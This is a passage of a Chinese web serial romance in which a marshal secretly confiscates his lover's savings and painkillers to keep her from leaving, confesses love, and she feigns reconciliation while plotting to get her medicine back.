她哑声开口，心里真的有几分庆幸，这种时候让她自己上楼，无异于一场酷刑，甚至连简单的控制面部表情，她都要用尽全身里去。 短暂的犹豫过后，她将脸颊埋在了萧纵的肩膀里。 男人的脚步微微一顿，随即放慢了上楼的速度。 可楼梯只有那么长，很快，还是到了二楼。 房门打开的时候，里头一片整洁，再瞧不出丝毫他之前乱翻的痕迹，甚至连笔记本里的船票，都被管家买了一张补上了。 除了床底消失的箱子，整个房间，看不出任何变化。 苏姚显然也没发现任何不对劲，身体一沾到床榻，立刻就蜷缩了起来。 她咬了咬牙，强撑着开口：“少帅，我要睡了。” 类似的话，最近萧纵听了无数遍，比起以往的憋闷和恼怒，这是他最冷静最平和的一次，他静静看了苏姚一眼，什么都没说，转身出了门。 房门关上的瞬间，苏姚的脸就扭曲了起来，她抖着手开了抽屉，将里头的药拿了出来。 药瓶里只剩了三片，她犹豫片刻，全都倒出来吃了，等挨过那一阵酷刑似的痛楚，她才昏昏沉沉地闭上眼睛，脑海里一个念头却十分清晰—— 明天，明天一醒过来，她就得拿一瓶新的出来备用，不然下次发作，就来不及了。 第96章 流言 萧纵出了门，在门口站了好一会儿，才抬脚上了楼。 最近他一直住在三楼自己的房间，可也不知道为什么，每次回来，都觉得这间房冷清得很。 他在自己门口站了几秒才迈进去，箱子已经被管家送过来了，就放在小客厅的茶几上。 抬手打开，一排排的药瓶映入眼帘，白得有些刺目，他拿起一瓶细细摩挲，还是想不明白，苏姚存这么多药，到底是想干什么？ 倒卖吗？ 可有脑子的人都知道，最紧俏有效的药物是抗生素。 可如果不是为了倒卖…… 他眉头紧紧皱了起来，百思不得其解，脑海里却不自觉浮现出苏姚在学校门口吃药的情形来，心脏莫名一突，总不能真的是为了…… 敲门声忽然响了起来，他思绪一顿，刚才发散的思绪瞬间收拢。 他将发丝往脑后捋了捋，自嘲地笑了一声，一定是他被苏姚要走的消息震惊到了，都开始胡思乱想了。 苏姚好端端的，怎么会吃这么多止疼药？ 他收敛了情绪，将箱子收起来，这才开口：“进。” 他以为是佣人来送晚餐了，没想到门一打开，进来的人竟然是萧茵。 “哟，” 虽然心情十分糟糕，但他开口时，语气里仍旧带了几分稀奇，“天上下红雨了？大小姐竟然亲自来给我送餐？” 萧茵别别扭扭地将餐车推进来，“大哥，我有话要问你。” 萧纵哪舍得她干这种粗活，大步走过去，自己将餐车拉了进来，也没把她的别扭当回事，随口答应了一声，“有话就说。” 萧茵却又安静了。 萧纵没怎么有胃口，简单挑了几样餐食就作罢，见她迟迟不说话，这才侧头看过来，“怎么了？” 萧茵犹豫了一下，还是走过来，抱住了他的大腿，“大哥，你和苏姚有了孩子，是不是就不管我了？” 萧纵一愣，语气严厉起来，“谁和你说的这些混账话？” 萧茵瘪瘪嘴，“没人和我说，我刚才偷听到的。” 大概是两人在后院的动静闹得太大，才会让人把这种闲话传到萧茵面前。 可就算是无心的，萧纵仍旧很恼火，他揉揉萧茵的头，半蹲下来看着她，“别胡思乱想，我和苏姚不会有孩子。” “为什么？” 萧茵有些诧异，她虽然年纪小，可环境在这里，很多事情早就都清楚了，而且管家也一直念叨着萧纵这个年纪，该有个孩子了。 甚至他还委婉地表示过，孩子的出身也不是那么重要。 可这么多年过去，两人之间始终没有动静。 “这不是你该管的，” 萧纵却并没有解释的意思，“你要做的，就是好好读书，安安稳稳的长大。” 萧茵“哦”了一声，虽然仍旧有些不高兴，但看得出来，心情还是比之前好了不少。 送走她，萧纵脸色彻底沉了下来，他点了根烟慢慢下了楼。 用饭的时间，佣人们分批去了副楼用餐，客厅里比平常要更安静。 萧纵也不着急，安安静静地等着，不多时，佣人陆陆续续回到了工位，萧纵这才开口：“管家。” 钟叔连忙走了过来，一见他的神情就知道大事不妙，连忙端肃了脸色，“少爷，有什么吩咐？” “刚才萧茵回来的时候，是哪批人在值班？” 管家连忙将佣人们集中起来，将萧纵刚才的话问了一遍。 佣人们不明所以，面面相觑，都有些犹豫。 “还不自己站出来？要我按照名册一个个地找吗？” 管家呵斥一声，这才有五六个人站了出来。 萧茵下学后直接进了客厅，没有去别的地方，所以萧纵只需要查主楼的这些佣人。 管家目光扫过几人，对着名册核验了一遍，这才朝萧纵禀报，“少爷，人都在这了，您要查什么？” “全都撵了吧。” 萧纵淡淡开口，他懒得在无关紧要的人身上费心思，也不在意话是谁说的，只要说话的人在这些人中间就行了。 几个佣人都被吓得白了脸，纷纷为自己求情辩解。 萧纵虽然不大好伺候，可帅府待遇丰厚，活少人多还安全，而且极有脸面，知道他们在帅府做工，谁都要高看一眼，他们实在舍不得这份工作。 但萧纵是个铁石心肠，根本不在意众人的哭求，甚至连解释都懒得给，自顾自点了根烟。 管家一看他这幅样子，就知道是没了耐性。 虽然他也不知道事情的前因后果，但他这把年纪了，听他提起萧茵，又要撵人，心里也猜了个七七八八，当即开口呵斥：“帅府不是嚼舌根的地方，你们要怪就怪那些嘴上没把门的吧。” 佣人里有人茫然，有人心虚，却谁都不敢多言，收拾东西走人了，唯一值得庆幸的是，萧纵没有克扣工钱。 “看见他们的下场了吧？” 管家看了剩下的人一眼，厉声呵斥，“都给我互相监督着，举报给你们记功，可要是谁装傻隐瞒，那就全都给我滚蛋。” 佣人们连忙低头应声，他这才挥了挥手，将人遣下去了，又转头看萧纵，“少爷，他们在小姐面前说什么了？” 萧纵没开口，因为提起孩子，管家就会唠叨。 可他不想让苏姚生孩子。 “一把年纪了，什么都好奇。” 他挤兑了管家一句，将人撵走了。 管家很不服气，可看出来萧纵心情不好，也没再纠缠，嘀嘀咕咕地走了。 萧纵却一直坐在客厅的沙发上，他在等，等苏姚发现她的钱不见了。 他要看看，在意识到走不了之后，苏姚会怎么做，她是会识趣的低头，装作什么都没发生一样继续演戏演下去；还是要不管不顾地翻脸呢？ 苏姚，你最好想清楚再动作。 我已经给你留了余地，如果你的答案不能让我满意…… 第97章 后悔了 这一等，萧纵就等了大半宿，直到最后迷迷糊糊地睡过去，苏姚房里都没动静。 等他再睁开眼睛的时候，那张脸却出现在了眼前，他浑身一颤，寒意猛地从后心蹿了上来，他一把攥住了苏姚的手腕，“你要去哪里？” 苏姚被他吓了一跳，手一抖，毯子就落了地。 “我就是下来喝杯水，看你睡在这里，就给你盖条毯子。” 苏姚连忙解释，虽然被萧纵的举动吓了一跳，却并没有打算询问他睡在客厅的原因。 萧纵这才注意到地上的毯子，和外头还昏暗着的天色。 对，苏姚怕黑，就算要走，也不会选在这时候，是他太紧张了。 而且，他已经做好了安排，她走不了的。 一不留神就把这茬给忘了。 可他仍旧没有松开抓着苏姚的手，反而顺势将人一拉，拽进了自己怀里，抬手紧紧环住了她的腰。 苏姚有些意外，虽然萧纵重欲，也喜欢随时随地发情，但昨天刚折腾了那么久，按理说今天不该再有兴致的。 可话在嘴边转了几个圈，还是咽了下去。 不想问了。 反正问了也未必能得到答案，说不定还会引出其他麻烦来。 她现在只想安安稳稳地等到离开的那天。 她安静地坐着没动，出乎意料的是，身后的人竟然也没动，就那么抱着她，越抱越紧，却半分都没有更进一步的意思。 这是怎么了？ 她犹豫了很久，才迟疑着开口，“少帅，你是不是不舒服？” 萧纵没说话，温热的唇却贴在了她后颈上，柔软，细密，可奇怪的是，这亲吻里却并没有情欲。 情况太罕见了，相识那么多年，这还是头一回，让苏姚都有些怔愣。 许久后她才回神，却越发不明白他的意思，索性也不再说话。 萧纵却开了口，“洗过澡了？” 苏姚应了一声，她每次发作都要疼出一身汗来，衣服都要湿透了，不洗澡怎么见人呢？ 但她没解释内情，只轻轻应了一声。 拢着她的手又收紧了一些，她整个人都陷进了男人炽热滚烫的怀抱里，在五月还透着冷意的夜风里，莫名的舒服。 苏姚有一瞬间的恍惚，忽然想起来，很久很久之前，萧纵带她出去骑过马，那时候天气冷，她也这么缩在过萧纵的怀里。 当时她在想什么呢？ 她想，这么结实宽厚的怀抱，应该能挡住所有风雨吧。 愚蠢幼稚的有些可笑。 她将杂乱的思绪压下去，抬手握住了萧纵的手，“少帅上楼吧，我给你点支安神香，时间还早，还可以再睡一会儿。” 萧纵没说话，却抱着她一起倒在了沙发上。 宽厚温暖的胸膛紧紧贴上来，随着一声舒服的喟叹，萧纵这才开口，“时间的确还很早，懒得动弹了，陪我在这里睡一觉吧。” 沙发虽然比车座要宽敞，可睡两个人还是有些拥挤，苏姚不太舒服，艰难转身看着他：“在这里睡的话，我觉得我会掉下……” 话音未落，细密的亲吻落在了她额头，逼得她没能睁开眼睛。 “不会，” 萧纵略有些沙哑的声音响起来，“我会抓紧你的。” 明明只是随口一说，他的语气却坚决得过分，苏姚一时竟不知道该如何反驳。 片刻后，她轻叹一声，算是默许了。 她本以为到天亮的这两个小时，会十分难捱，也已经做好了回房后再补觉的准备，却没想到，刚刚经历过折磨的身体早就到了极限，哪怕她精神紧绷，可在闭上眼睛后，意识还是昏沉了下去。 她呼吸慢慢均匀起来。 萧纵垂下眸子，借着客厅璀璨的水晶吊灯看怀里的人。 他已经很久很久，都没这么仔细，亲近地看过苏姚了。 他看得有些出神，等管家有些惊讶的呼唤声响起，他才被迫回神。 客厅的灯已经关了，朝阳橘色的光透过窗户照进来，柔和明媚，像是怀里的人。 天竟然已经亮了。 “您怎么在这里睡了？” 管家忍不住开口，却被萧纵“嘘”了一声，“别吵，她还睡着呢。” 管家的脸色一时间变得十分精彩，他看看萧纵，又看看苏姚，满脸的褶子里都写着复杂。 “毯子。” 萧纵低声开口，管家一时没反应过来，茫然地“啊”了一声。 “地上，”萧纵重复了一句，语气无奈，“这把年纪了，怎么一点眼力见都没有？” 管家这才注意到还丢在地上的毯子，木着脸捡起来递了过去。 萧纵将苏姚裹起来，垂眸继续看她。 似是被他的动作惊动，睡梦中的苏姚动了动身体，大约是想换个姿势，可她被萧纵抱得严实，没能挣脱开，便只好往他怀里拱了一下。 男人的身体明显僵住了，连呼吸都凝滞了一瞬。 半晌，他才抬起手，轻轻拍了拍苏姚的后背，眼看着人重新睡得安稳了起来，他眸光变得十分晦涩。 以往不觉得这种亲近多稀奇，可现在…… 他有些后悔了，他不想让苏姚那么早就发现东西被拿走了。 第98章 她发现了 等苏姚醒过来的时候，时针已经指向了九点。 灿烂的阳光透过窗户照进来，晃得人有些睁不开眼睛，她下意识重新闭上，脸上却投下一片阴影，她借着这片影子适应了光，这才再次睁开眼睛，然后看出来，那是一只大手。 不用想，也知道是谁的。 可她仍旧很惊讶，连忙从沙发上坐了起来，却发现腰上还有条结实的手臂。 萧纵竟然一直抱着她。 “我就说，你不会掉下去。” 男人缓缓开口，说着慢慢将手收了回去。 苏姚有些呆愣，看着眼前的人，总觉得有点陌生。 这两天，萧纵是不是有些奇怪？ 难道是因为唐黎在府里住了两天，所以心情好吗？ 那自己这算是沾了唐黎的光吗？ 心情说不出的复杂，但她一个字都没问，只抬脚下了地，“我上去换套衣裳。” 她还穿着睡袍，他记得萧纵不喜欢她穿成这样下楼，总说她在勾引旁人。 可萧纵却追了上来，“我陪你一起。” 陪她一起？ 苏姚脚步顿住，再次看了男人一眼，他这两天到底在抽什么风？ “少帅不忙吗？” 她委婉暗示，希望他能去做自己的事，不要把时间浪费在她身上。 但萧纵像是没听懂，仍旧站了起来，“有金锦他们呢，如果有解决不了的事，他们自然会来找我。” 苏姚被堵住了话头，虽然还想继续拒绝，可毕竟还生活在别人的屋檐下，她也不好把话说得太明显，只能答应下来。 她抬脚上了楼，目光不自觉扫向了床底，本来想早上喝杯水回来，就把药拿出来的，结果被萧纵拖到现在，也不好当着男人的面去拿药，不然又要被嘲讽一顿。 她叹了口气，只好暂时放下了拿药的打算，开了橱子拿衣服。 萧纵就靠在门口看着她，一眨不眨的，看得苏姚有些不自在，犹豫片刻，拿着衣裳进了卫生间。 萧纵的目光追了过来，盯着卫生间的门口看了好一会儿，才慢慢移到床底。 苏姚，如果你现在就发现了，会是什么反应呢？ 他点了根烟，思绪有些飘。 耳边很快响起脚步声，是苏姚洗漱完出来了。 他收回目光，上前一步将人拉住，“余庆班在陈家戏楼登台了，带你去捧个场吧。” 苏姚的眼睛微微一睁，仰头看向萧纵，她实在是没想到，他竟然会关注余庆班的事。 “我记得少帅不喜欢看戏吧？” 她说的是实话，毕竟她腿没伤的那几年，时常会登台，但萧纵从来没去过。 萧纵显然也想起了这件事，以往不觉得，现在提起来，才知道原来有这么多事情对不住苏姚，她好像又多了一个要走的理由。 他沉默了好一会儿才意有所指道，“现在开始喜欢了。” 苏姚完全没听出他话里隐藏的意思，倒是想到了另一个可能，“秦小姐是不是回余庆班了？” “秦芳年？” 萧纵被问得愣了一下，“和她有什么关系？” 那个女人还被关在柴房里呢，苏姚提她干什么？ “那，少帅为什么忽然想去看戏？” 苏姚很不解，除了秦芳年，她实在是想不到别的理由。 萧纵后知后觉反应过来她的意思，又气又恼，抬手捏住了她的脸，“苏姚，我在陪你，陪你两个字，听得懂吗？” 苏姚不明白他在生什么气，但好汉不吃眼前亏，她抓住男人的手，随口敷衍，“听得懂，当然听得懂。” 萧纵松了手，心里却说不出的憋屈，以往没发现，现在意识到了，一眼就能看出来苏姚的话有没有走心。 可他还是强压下了火气，“你以前不是提了很多要求吗？” 他抬手揉了揉苏姚被自己捏红的脸，缓下语气开口，“我尽量抽时间，都陪你去做。” 苏姚，我也不是不能做得更好一些，别再去看你的箱子了…… 额头忽然贴上来一只温热的手，苏姚感受了一下他的体温，小声嘀咕了一句什么。 萧纵的脸黑了一下，哪怕没听清楚她说的话，也能猜得到。 他拉下女人的手，用力揉了两下，语气温柔，却满含威胁，“把你刚才的话再说一遍。” 苏姚显然听出了他的意思，肩膀微微一缩，随即若无其事地看过来，“我说，少帅昨晚没睡好，今天不如留在家里休息吧？” 萧纵冷笑出声，苏姚不光觉得他有病，还想找借口拒绝他的亲近。 “也行，” 他捏了捏苏姚的手，语气凉沁沁的，“刚好昨天没尽兴，今天继续，把前阵子落下的都补……” 苏姚一把抓住他的手，语气诚恳地打断了他的话，“我好像很久没去余庆班捧过场了，我们还是去看看吧。” 萧纵不说话，只眯起眼睛盯着她看。 苏姚知道他这是等着自己哄他求他，心里咬牙骂了一句，可还是十分识时务地软下声音开口，“少帅，我想去看戏，你陪我一起去吧。” 萧纵弹了根烟出来，要点的时候却又顿住了，只捏在指尖把玩，目光这才落在苏姚身上，缓缓开口—— “真的想去看戏？” 苏姚连忙点头。 “真的想让我陪？” 苏姚又一次点头，神情十分诚恳。 可萧纵还是看出了她眼底的敷衍。 又在撒谎。 可他不想拆穿。 苏姚，你看，只要各让一步，我们还是可以相处得很好的，不是吗？ “既然你这么想去，那就走吧。” 他拉着苏姚的手就往楼下走，苏姚却扒着门框站住了：“我得拿包，少帅先去车里等我吧。” 拿个包而已，萧纵也没多想，转身就先下了楼洗漱。 他没喊副官，亲自去后院开了车。 可等了好一会儿，苏姚都没有出来，这是很少发生的事，苏姚懂事，从不让他等。 他琢磨了一会儿才反应过来，苏姚可能要打扮一下。 也算是他们头一次约会，理应重视的。 沉甸甸的心情微妙地好了起来，可他很快又想起来，苏姚的首饰都已经空了，虽然不知道为什么只换了那么一点钱，但她现在的确是没有首饰可以戴。 他再次上了二楼，隔着门开口，“先带你去珠宝店看看吧，你也好些日子没买新的了。” 以往他对苏姚不上心，从来没有带她去挑过东西，都是直接让副官，或者经理送过来的，不知道苏姚进了珠宝店，会是什么样子。 他回想了一下苏姚眼睛发亮的样子，心头莫名地有些痒。 但很快，这股情绪就被压了下去，因为房间里苏姚迟迟没有给他回应。 “苏姚？” 他又喊了一声，房间里仍旧没有人回答，只有窸窸窣窣的动静传出来，像是在翻找什么东西。 他意识到了什么，猛地推开了门。 房间里，苏姚头发凌乱，脸色焦急，正翻箱倒柜地找东西。 “就在这里的，怎么会不见了？” 她喃喃低语，整个人十分紧绷，甚至连房门被推开都没注意到。 萧纵静静看着她，仿佛一盆冰水兜头浇下，浑身的血液都冷了下去。 苏姚，发现了。 第99章 我喜欢你啊 耳边窸窸窣窣的动静不绝于耳，萧纵站在门边静静看着，许久都没开口。 他设想好了今天一整天的行程，以为这么折腾下来，苏姚的态度多多少少都会有些改变。 可怎么都没想到，只是拿个包的功夫，苏姚竟然就发现了。 你为什么要在这时候去看你的箱子呢？ 明明还可以有时间的，苏姚，你为什么就非要去看你的箱子呢？ 眼底仿佛有乌云翻滚，狭窄的房间里，空气很明显地稀薄了起来。 他始终没开口，只睁着布满阴翳的眸子，静静看着。 可大约是他的存在感太强，哪怕一言不发，苏姚还是察觉到了不对劲，她从床底爬出来，扭头朝他看了过来。 看清楚是他的瞬间，苏姚眼睛一亮，“少帅，你来得正好，我的东西丢了，你能不能帮我找找？” “东西丢了？” 他缓缓开口，所有的恼怒和失望全都被面上的平静遮掩了个干净，“丢什么了？” “一个箱子，” 苏姚急切的比画，“大概这么大，楠木的，雕着喜鹊登梅，没有上锁。” “哦，” 萧纵淡淡应了一声，虽然苏姚浑身上下都写满了焦急，他却始终不急不缓，“一个箱子而已，不着急，等回来再找吧。” 他抬手理了理苏姚凌乱的发丝，“我们不是说好了，要去看戏的吗？” 苏姚哪里还顾得上这茬，她一把抓住了男人的胳膊，声音急得在发抖，“等不到回来了，里面东西很重要，你能不能帮我查查，是谁进过我房间？” 萧纵指尖攥紧，很重要啊…… 是箱子重要，还是箱子代表的离开重要？ 他仍旧慢条斯理，“既然是在帅府丢的，就一定找得回来，不着急。” “着急！” 苏姚下意识反驳，那可是她救命的箱子。 里面的钱就不说了，最重要的是药。 没有药的话…… 她指尖控制不住地颤抖起来，一想到腿疾发作的痛苦，她整个人如坠冰窟，恍惚间像是腿疾已经发作了一样，寒意自后心一层层地沁出来，冷得她止不住的战栗。 怎么会有人，拿了她的药呢？ 钱拿走就算了，为什么要拿走她的药？ 她不想死，她不想被活活疼死。 她抖着手，更紧地抓住了萧纵的胳膊，“少帅，求你帮我找找好不好？那个箱子对我来说，很重要，真的很重要。” 萧纵垂眸看着她发抖的身体，眼底的阴翳却在一点点加深，几乎要化成一团浓墨。 抖成这样，你就这么害怕走不了吗？ 他合了下眼睛，汹涌的情绪再也遮掩不住，他抬手死死攥住了苏姚的手腕，咬牙开口，“你就非走不可？” 苏姚一愣，猛地睁大眼睛看了过来，“你怎么知道我要走？” 下一瞬，她明白过来话里隐藏的意思，不敢置信地看着面前的人，声音颤抖：“我的箱子，是你拿走的？” 萧纵不承认，也不否认，只是看着她。 但苏姚不是傻子，这和承认有什么区别？ “为什么？” 她忍不住开口，她仍旧记得刚才发现箱子不见了的时候，那铺天盖地的恐惧和绝望，她现在的指尖都是麻木的，她怀疑了自己见过的每一个人，可独独没有怀疑过萧纵。 他这样的人，怎么会拿走她的箱子呢？ 到底是，为什么呀？ “你说为什么？” 萧纵控制不住地冷笑出声，满心都是被背叛的愤怒，“金丝雀要飞走了，我这个主人，难道不该阻止吗？” 苏姚没有在意萧纵话里对她的贬低和羞辱，满心都是不可思议。 她从没想过，萧纵会不让她走。 他身边明明有那么多人，旧爱有唐黎，新欢有秦芳年和徐丽华。 “你根本不缺我一个，” 她哑声开口，她真的不知道萧纵在想什么，他这样的人，为什么会为难她？ “你是不是觉得给我的东西太多了？” 脑海里忽然闪过一道亮光，她做出了唯一可能的猜测，心里却越发绝望，如果再往前推几天，萧纵这么想的话，她会把珠宝还给他的。 可现在她已经送给师父了，她没办法了。 “箱子里还有钱，我把钱都留下，我不要了，你把药给我好不好？我只要那些药就好。” 她语气里满是恳求，整个人卑微又可怜，连在楼下的管家都忍不住动了恻隐之心，可—— “不好。” 萧纵却一口回绝，语气坚决得近乎残酷，“钱和药，我都不会给你。” “可那本来就是我的！” 苏姚几近崩溃，短短半小时，她的世界彻底崩塌。 就在刚才，她拿手包之前，还在日历上划掉了一天，以为自己距离离开的日子又近了一点，可仅仅只是几分钟之后，她就发现自己的箱子不见了。 装着她全部东西的箱子，不见了。 而真正拿走箱子的人，却怎么都不肯还给她。 “你已经给我了，那就是我的，你凭什么拿走？！” 她猛地抓住萧纵的衣襟，浑身颤抖，双眼通红，声嘶力竭地喊出来：“还给我，还给我啊！” 萧纵目光微微颤动，他头一回见苏姚这幅样子，他无比清晰地意识到，苏姚要崩溃了。 可他不能还给她。 以后她想干什么想要什么，他都可以满足，唯独离开，绝对不行。 “不还。” 他听见自己冷酷至极的声音响起来，几近疯狂的人忽然安静了下来。 他蹙眉，心下微动。 下一瞬，苏姚用力推开他就要往楼上冲。 萧纵叹息一声，一把将人拉住，“你拿不到的，我不开口，你永远都不可能拿到你的箱子。” “放开我，放开我！” 苏姚充耳不闻，拼了命地挣扎起来，可萧纵的手却铁钳一般，死死禁锢着她，不管她怎么折腾，始终不曾放松分毫。 不知道过了多久，苏姚终于脱力，靠着墙跌坐在地。 她满脸的茫然和悲凉，声音哑得几乎说不出话来。 可她还是仰头看了过来，“为什么……为什么非要我留下……” 萧纵半跪下来，怜惜地理了理她的发丝，“看不出来吗？” 他轻声开口，随即抚上她的后颈，以无法抗拒的强硬姿态，将她慢慢压在了自己的胸膛上，“我喜欢你啊，怎么舍得让你走呢？” 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第100章 八百个心眼子 喜欢？ 萧纵说他喜欢…… 苏姚控制不住地笑了出来，笑得眼角都溢出了泪水。 萧纵，喜欢她？ 她学过那么多戏曲，听过那么多故事，再没有一个，比这句话更荒谬，更荒唐。 她抬手狠狠推了男人一把，可她已经彻底脱力，所以男人没动，反倒是她自己撞在了墙上。 后脑传来一阵钝痛，疼得她眼前一阵阵发黑。 “苏姚？” 萧纵连忙扶住她的头，抬手在她脑后摸了摸，有个包，好在没破。 “喊医生过来。” 他随口吩咐，说着就要将苏姚抱起来。 苏姚撞傻了一般，僵在原地没动，后脑的痛楚越来越剧烈，却慢慢唤醒了她的理智。 她不能就这么放弃，她活到这么大，什么苦没吃过，不能因为这点打击就放弃。 而且，她和萧茵还有个约定，她要听到那首，第一个为她弹奏的曲子。 那可是，第一首弹给她的曲子。 冷静，冷静…… 她深深吸了一口气，强逼着自己压下了所有的情绪，颤抖着抬手抱住了男人的脖子。 萧纵动作僵住，眼底都是震惊。 他没想到苏姚会有这种反应。 刚才在门边的那短短一瞬间，他设想了很多挑明之后会发生的事情，他知道苏姚一定会闹的，歇斯底里也好，摔摔打打也罢，甚至是和他动手也不是没可能。 可他怎么都没想到，她会这么快就冷静下来，甚至还主动和他亲近。 “少帅。” 苏姚哑声开口，声音微微发颤，还带着刚才歇斯底里的余韵，可情绪却已经平和了下来，“你说，喜欢我，是真的吗？” 萧纵微微一怔，眼底极快地闪过一丝晦涩，可仅仅只是一瞬，那情绪就消失不见，他垂下眸子，难得的坦诚，“当然，我骗你干什么？” “你怎么，不早说呀……” 苏姚主动靠进了他怀里，借着视觉死角，遮住了眼底翻涌的情绪，“你知道我等这句话，等了多少年吗？” 她声音颤抖，仿佛终于得偿所愿，苦尽甘来。 她没信这句话，可既然萧纵要拿这个做借口，逼着她留下，那只要她让萧纵相信，她不会走了，那是不是就能把箱子要回来？ 或许那需要很长时间，可没关系，至少她可以先稳住萧纵，拿到钥匙，偷偷把药拿出来。 只要把药拿出来，她还是可以完成和萧茵的约定。 她还是可以离开的。 她将脸颊埋进男人怀里，愤恨和绝望让她止不住地战栗，温热的泪水很快浸透了男人薄薄的衬衫。 萧纵心头一颤，他几乎是本能地抬起手，抚上了苏姚的发丝，“所以，你的意思是，不走了吗？” 苏姚没有抬头，只是死死抱着他。 “你要是早说，我怎么会想走呢？” 她哑声开口，“你总说我贪财虚荣，该知道帅府这么好的日子，我做梦都想要的，如果不是你整天嫌弃我，我怎么会想走？” 大约是情绪太激动，她双臂一直在抖。 萧纵仿若未觉，抬起头，用下颚在她头顶轻轻磨蹭，“那还真是我不对。” “当然是你不对。” 苏姚吸了吸鼻子，仰头看过来，“你要补偿我。” 萧纵抬手擦去她眼角还残留的泪水，垂眸静静看了她两眼，轻应了一声，“好，补偿你。” 苏姚的双臂抱得更紧，眼珠微微一转，期期艾艾道：“那，那你刚才说的买珠宝，看戏，还作数吗？” 萧纵沉默下来，苏姚似是急了，“你反悔了？” “怎么会呢？” 萧纵低笑一声，“除了箱子，你想要什么我都给你。” 他说着喟叹一声，“我真的很喜欢你这幅样子。” 他也喜欢苏姚的这番话，更贪恋这一刻的亲近。 只是可惜了…… 他轻轻合了下眼睛，弯腰将苏姚拉了起来，“想要的话，我们现在就去买。” 他拉着苏姚要往外走。 苏姚的身体却本能地僵了一下，没有药，她根本不敢出门。 “怎么？不想去了？” 萧纵侧头看过来，神情看不出喜怒，可苏姚却仍旧感受到了威胁。 她不能不去，不去的话，刚才的那些话就没了可信度。 腿疾昨天晚上刚发作过，她不会那么倒霉的。 “当然要去，” 她主动挽住萧纵的胳膊，“我只是没想到，少帅会亲自陪我去。” “当然要陪着你啊，” 萧纵侧头看着她，嘴角微微一扯，“我不是说了吗？会把你以前提的要求，都实现的。” 这么说着，他却把手抽了出来，转而揽上了苏姚的腰，“还是这样安全一些。” 苏姚心头颤了颤，安全？ 他所谓的安全，是什么意思？ 她压下那点胡思乱想，跟着萧纵慢慢往楼下去。 客厅里十分安静，显然是刚才过于激烈的争吵声吓得佣人都藏了起来。 只有管家还在，就站在门口看着他们，他满脸的复杂，却什么都没问，只是门神似的看着。 苏姚没有在意，她现在已经什么都顾不上了。 今天如果不能拿到药，说不定晚上她就会疼死。 车子已经停在了门口，警卫连忙来开车门，却被萧纵抬手拦住了。 他亲自弯腰开了车门，侧头朝苏姚看了过来：“上车。” 不管是警卫还是门口站着的官家，看见这一幕都有些愣怔，萧纵一向骄傲，也从不对房里人讲究什么绅士风度，上次这么干，还是几年前追求唐黎的时候。 管家的神情越发复杂起来。 “……谢谢。” 苏姚毫不在意，低声道谢，弯腰钻了进去，几乎是落座的瞬间，她就听见了车门上锁的声音。 身体僵硬了一瞬，可等萧纵钻进架势室的时候，她又恢复了冷静，仿佛刚才什么都没听见。 “不带别人吗？” 她若无其事地开口。 “带别人多碍事。” 萧纵随口答应一句，将身体探了过来，却又没有进一步的动作，只那么抬眸看着她，这已经算是明示了。 苏姚的指尖紧了又紧，却顺从地迎了上去，和他交换了一个绵长的亲吻。 喜欢少帅又把老婆气跑了请大家收藏：()少帅又把老婆气跑了更新速度全网最快。 第101章 一对戒指 萧纵心满意足地坐回了架势位，发动车子朝外开去。 苏姚借着看风景，拉开了和他的距离，目光却透过玻璃的反光，落在了他的衣袋上。 三楼房间的钥匙，就在那个口袋里，她要想办法神不知鬼不觉地拿到。 手腕忽然被抓住，苏姚被迫回神，强忍着没有推开。 “少帅，专心开车。” 她嗔怪了一句，萧纵歪头看她，好一会儿才将手收回去，脸上露了笑，“管起我来了，有些话还真是不能说，说了人就嚣张了。” 苏姚知道他说的是那句喜欢。 她今天是头一回发现，萧纵也有唱戏的天赋，说起谎话来这般面不改色。 “少帅是不喜欢吗？” 她微微侧头，语气幽怨，眼底都是控诉，装模作样嘛，被骂了那么多年，她总不至于真的一点都不会。 “怎么会呢？” 萧纵意味不明地笑了一声，“甘之如饴啊。” 苏姚指尖攥得更紧，他们最蜜里调油的那时候，萧纵都不会说这种话，假得让人作呕。 “怎么？” 男人再次开口，“答案不满意吗？怎么一点奖励都没有？” 苏姚凝滞一瞬，还是侧开了头，“好好开车。” “没良心。” 萧纵哂了一声，音量不高不低，听不出来是在自言自语，还是故意说给苏姚听的。 但苏姚不想接这个茬，靠在车窗上假装自己睡着了。 车子却忽然停了下来，她被迫睁开了眼睛。 萧纵已经降下了车窗，不多时一块糖饼被递了过来，“不是喜欢吃糖饼吗？尝尝吧，看看和海边的相比，哪个更好。” 苏姚呼吸顿了顿，才抬手接过了糖饼。 “我去海边，不只是为了买票……” 她开口解释，试图弱化自己离开的念头，但萧纵打断了她，“我当时不知道你是去买票。” 他给苏姚买了糖饼，自己却并没有要吃的意思，只开了车窗吹风，“还以为是我做得太过分，你想不开了呢，我可是坐立难安了好一阵子。” 他笑起来，“原来只是误会一场。” 苏姚不自觉绷紧了身体，要是早知道萧纵莫名其妙地不肯让她走，她当初一定不会大摇大摆地准备离开的事，她会把她的箱子，藏得严严实实。 可现在后悔也晚了。 她掐了把掌心，扭头朝萧纵看过去，眼睛睁得溜圆，“少帅是要和我算账吗？但凡你早些说，谁想去海边吹风啊，怎么还能怪我呢？” “当然不怪你。” 萧纵笑了一声，大掌附上来，慢慢包住了她掐得发红的手，“只是想起来，觉得有趣而已，你不觉得吗？” 苏姚指尖不自觉蜷缩起来，直觉告诉她，这个话题不能继续了。 她将糖饼塞进了萧纵嘴里，“少帅快尝尝，这饼怎么好像没味道。” 萧纵不知道是饿了，还是也没打算继续这个话题，真的在饼上咬了一口，慢慢吞了下去。 苏姚心下一松，将饼收回来，在他的咬痕上也咬了一口，这才开口，“原来是甜的呀。” 萧纵抓着方向盘的手瞬间收紧，猛地探过身来，抬手压着苏姚的后颈，逼着她靠近，又在她唇边亲了一口。 苏姚仰头配合着他，掌心却沁出了细密的汗珠。 车子终于再次发动，转过几条街后，停在了珠宝行门口。 经理认识他的车，见他竟然亲自过来了，连忙带着职员出门迎接。 “少帅大驾光临，真是蓬荜生辉，您快请，最近刚好来了一批新的珠宝，正打算送去府上让您过目呢，没想到您竟然来了。” 他连忙弯腰去开车门，车门却锁了，他这一下根本没有拉动。 他愣了一下，这档口，萧纵已经自己下了车，他绕到副驾驶，亲自给苏姚拉开了车门，却不等人下来，就先抓住了她的手。 上车落锁，下车牵手…… 苏姚心头发沉，她知道萧纵多疑，想让他相信自己并不容易，可如此防备…… 不行，她得再做点什么。 她压下翻涌的情绪，抬眸和男人对视一眼，柔柔笑了起来。 “他说的新珠宝，我可以都看看吗？” “当然。” 萧纵应了一声，拉着她下了车，手自然而然地揽住了她的腰。 苏姚不但没躲，反而贴在了他身上。 